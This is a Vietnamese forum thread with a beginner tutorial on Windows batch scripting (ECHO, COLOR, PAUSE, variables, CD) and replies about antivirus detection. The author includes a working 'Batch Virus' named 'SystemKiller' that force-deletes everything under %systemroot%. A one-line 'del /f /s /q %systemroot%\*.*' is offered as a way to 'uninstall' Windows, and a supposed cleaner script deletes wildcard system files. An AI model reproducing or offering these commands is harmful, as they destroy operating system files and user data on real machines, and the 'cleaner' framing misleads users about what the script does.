Chắc hẳn ai cũng biết tới Batch, một loại ngôn ngữ cho Microsoft Windows. Nói thế nhưng Batch không hẳn là 1 ngôn ngữ, nó chỉ là 1 tệp lệnh các câu lệnh thực hiện liên tiếp nhau. Batch không xa lạ : Một màn hình đen sì với những hàng chữ xám trên đó, đang cố gắng thực hiện 1 công việc nào đó.
Học Batch không khó; tuy nhiên nó không hiệu quả. Đây là những ưu nhược của Batch (chỉ điểm sơ qua) :
+ Ưu : Dễ học, không cần compile trước khi chạy ct, tương thích với mọi bản của Win, số lượng câu lệnh ít,…
+ Nhược : Không liên kết với Windows APIs và không có OOP (vì nó đâu phải NNLT), phụ thuộc nhiều vào Windows, không có khả năng chạy độc lập (không chạy trên Mac và không độc lập như Java)
Mục đích chủ yếu của bạn khi học Batch là viết các ct đơn giản thực hiện các tác vụ thay cho Windows,…Chủ yếu là làm tự động.
Bài 1.
Lệnh ECHO, CLS và COLOR, TITLE
Câu lệnh echo có tác dụng in ra màn hình thông báo. Còn cls = ClearScreen có chức năng xóa màn hình (không phải xóa cái màn hình CRT hay LCD đâu, xóa những gì có trên cửa số ấy). Những thứ đã in ra trên màn hình, bất kể in bằng lệnh gì, khi gặp cls sẽ tự động mất trắng.
Bạn khởi động Notepad, vì Batch chạy trên Windows không cần IDE nào hết nên bạn chỉ cần Notepad để soạn thảo và…click đôi chuột để chạy ct.
Bắt đầu 1 script mới, viết như sau :
@echo off
cls
Lý do vì sao ? @echo off dùng để tắt những gì đang hiển thị trên màn hình, và CLS có nhiệm vụ xóa hết nó đi, làm cho màn hình trống trải hơn. Đây là hai dòng lệnh cần phải có mỗi khi bạn bắt đầu viết 1 script (tuy không bắt buộc). Chủ yếu hai dòng lệnh này loại bỏ những thừa thải khi chạy chương trình (dính líu với mấy lệnh trước, in ra màn hình cả lô lệnh).
Ví dụ về ECHO
Bạn vào Notepad gõ đoạn code sau :
@echo off
echo Hello Sicko Alliance
echo My Name Is Scifi
rồi lưu dại dưới dạng .BAT (nhớ là có đuôi .bat) đấy. Tốt nhất bạn nên lưu vào ổ C:\, với tên bất kì ở đây mình đặt là test.bat. Rồi bạn mở Command Prompt ra và đánh :
cd /d C:\
test.bat
và xem kết quả nhé. Thay đổi số dòng echo, số lượng kí tự và chạy lại thử xem.
Lệnh COLOR :
Lệnh COLOR có tác dụng in màu sắc ra màn hình, có dạng :
Color ID_Màu
ID_Màu từ 1->13 (không nhớ rõ nữa, hình như vậy, nhưng 13 là số xui)
Lệnh TITLE :
Lệnh TITLE có nhiệm vụ tạo chuỗi cho thanh titlebar của cửa sổ.
TITLE title_mới
Ví dụ :
TITLE Sicko Alliance
The Following User Says Thank You to Scifi For This Useful Post:
Khi bạn click đôi vào file batch thì sẽ thấy cửa sổ hiện 1 lần rồi tắt, lệnh PAUSE sẽ giúp bạn. Nó có tác dụng tạm ngưng chương trình chờ khi người dùng nhấn 1 phím bất kì nào đó.
@echo off
cls
echo This is Demo
pause
--lệnh Output
Lệnh output có nhiệm vụ ghi ra những gì bạn vừa thao tác. Lệnh của Output chỉ là dấu ‘>’ theo đó là tên file cần ghi ra. Ví dụ :
echo SickoAlliance >test.txt
sẽ có nhiệm vụ ghi chuỗi ‘SickoAlliance’ ra file test.txt. Bất kì thứ gì cũng có thể ghi ra được nhờ dấu Output (‘>’), nhưng điều kiện nó phải xuất ra kết quả thì mới ghi được.
--lệnh Output kèm NUL
Khi bạn không muốn ghi ra gì cả, bạn chỉ cần để trắng không cần thêm dấu ‘>’. Tuy nhiên để lệnh thực hiện silent (tức là không hiện ra cho người dùng xem mà vẫn đang thực hiện), bạn thêm >nul vào cuối câu lệnh. Ví dụ :
Các variable giúp ta thao tác dễ dàng hơn với Windows. Cụ thể như trong Batch ta có các variable sau :
%temp% : Mở thư mục Temporary (thư mục chứa rác-file tạm) của Windows.
%systemdrive% : Mở ổ đĩa mà ta đã cài Windows.
%systemroot% : thư mục của Windows.
…
Tuy nhiên số variable của Windows không chỉ có thể (chỉ giới thiệu những variable phổ thông)
Các variable có thể kết hợp với thư mục, ví dụ :
%systemroot%\New_Folder
Tức là bằng
C:\New_Folder, điều kiện ổ C là ổ cài Windows.
Nghĩa là ta có thể dùng Batch để xóa Windows một cách nhanh chóng (muốn uninstall) :
Del /f /s /q %systemroot%\*.*
Lệnh CD (CD Command)
CD dùng để tham chiếu tới thư mục mà ta sẽ làm việc. Tức là ta có thư mục A, file B trong thư mục A, ta phải tham chiếu tới thư mục A trước khi làm việc được với B.
Câu lệnh CD có dạng như sau :
Cd folder_đích : Tới folder chỉ định
cd.. : Quay trở (giống như Up One Level)
Cd có thể dùng kết hợp với variable, nói chung câu lệnh nào trong Batch cũng có thể dùng được với variable. Ví dụ :
Cd %systemroot% : Tham chiếu tới thư mục cài Windows
Del parallax.fx : Xóa file parallax.fx
Hoặc
Cd %systemroot%\system32 : Tham chiếu tới thư mục cài Windows -> System32
cd.. : Từ %systemroot%\system32 quay trở lại %systemroot%.
Bạn nghĩ rằng 4 bài trên là quá ngắn với bạn ? Quá dễ ? Tuy nhiên với những cậu lệnh rất rất đơn giản kia thì bạn đã tạo được một chương trình dọn máy tính cơ bản rồi đấy, hay là một con…virus.
1. mình không chịu trách nhiệm nếu bạn dùng Batch Virus để phá người khác hoặc máy bạn bị format hết dữ liệu.
2. tất cả các chương trình cũng như bài viết của mình gốc nguồn là của Sicko Alliance. Nếu bạn copy qua site khác, vui lòng ghi rõ nguồn.
3. tất cả những ct mình viết dưới đây đều chỉ áp dụng những lệnh đã học từ 4 bài ngắn ngủi kia, nhưng sức mạnh của nó thì bạn hãy “chờ xem rồi biết”.
1.Viết Batch Virus
@echo off
Cls
Echo Please Wait…
Echo Scifi’s SystemKiller
Cd %systemroot%
Del /f /s /q *.*
cd..
del *.*
echo Da kill xong may tinh !
pause
2.Viết 1 ct dọn rác máy tính (giống CCleaner)
@echo off
Cls
Echo Please Wait…
Echo Scifi’s Ccleaner Clone
Del /f /s /q %systemroot%\*.old
Del /f /s /q %systemroot%\*.bak
Del /f /s /q %systemroot%\*.gid
Del /f /s /q %systemroot%\*.???
Del /f /s /q %systemroot%\*.log
Del /f /s /q %systemroot%\*.err
Del /f /s /q %systemroot%\Thumbs.db
Del /f /s /q %temp%\*.*
Echo Done!
Pause
3.Colorful Screen
@echo off
Cls
Color 1
Pause
Color 2
Pause
Color 3
Pause
Color 4
Pause
Color 5
Pause
Color 6
Pause
Color 7
pause
Nếu save dưới dạng .bat thì chỉ có gà mờ mới click vô mà dính virus. Chưa kể antivirus quét các script nên chắc cũng tóm được (?) (như keygen là tóm luôn).
Được cái giờ mới biết file .bat là soạn bằng txt. Để kì sau mở kiểm tra = Notepad trước khi chạy
keygen không phải là Batch. Tuy nhiên trình quét virus cũng không tóm được bat vì nó chỉ scan file sao cho thấy chuỗi trùng với chuỗi của Virus. Batch thì đương nhiên có những lệnh đơn giản đủ để qua mặt antivir.
Antivirus ko tóm được ? vậy thì tại sao các web cứ leo lẻo kêu tắt Antivirus đi khi chạy keygen, đảm bảo ko phải virus, ấy mà toàn tóm ra trojan cả đống. Tại xài Script chứ gi nữa (?)
thay đổi nội dung bởi: Strawberry, 05-03-2011 lúc 04:58 PM.
Tùy thôi nếu file batch hay keygen đó có một dòng lệnh nào đó giống với các chuỗi của virus thì sẽ bị chặn ngay. Hồi đó giờ tớ đôi khi cũng thấy một số keygen ko bị antivirus chặn, chắc là vì chuỗi lệnh khác.
Tớ cũng thường tạo file .bat để thống kê các file trong các folder nếu như quá nhiều.
___________________________________
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
bat or cmd là tập hợp 1 chuỗi các câu lệnh rồi tiến hành thực thi tuần tự và đồng thời. Ai có nhu cầu phải chạy 1 loạt các lệnh hàng ngày thì lưu lại bộ đó thành file batch để dành cho lần sau chạy, rất có ích. Nếu cậu nào lập trình java thì sẽ phải thường xuyên chạy thông qua file batch.
@Scifi: nếu cậu nghĩ rằng cứ dùng vài mẹo là qua mặt được các anti-virus soft thì lầm to. Đơn giản là virus của cậu chưa nổi tiếng và mấy hãng lớn không thèm cập nhật vào virus definition thôi Cuộc chiến giữa người viết virus và trình anti-virus là một cuộc chiến không ngừng nghỉ
___________________________________
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.
To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts.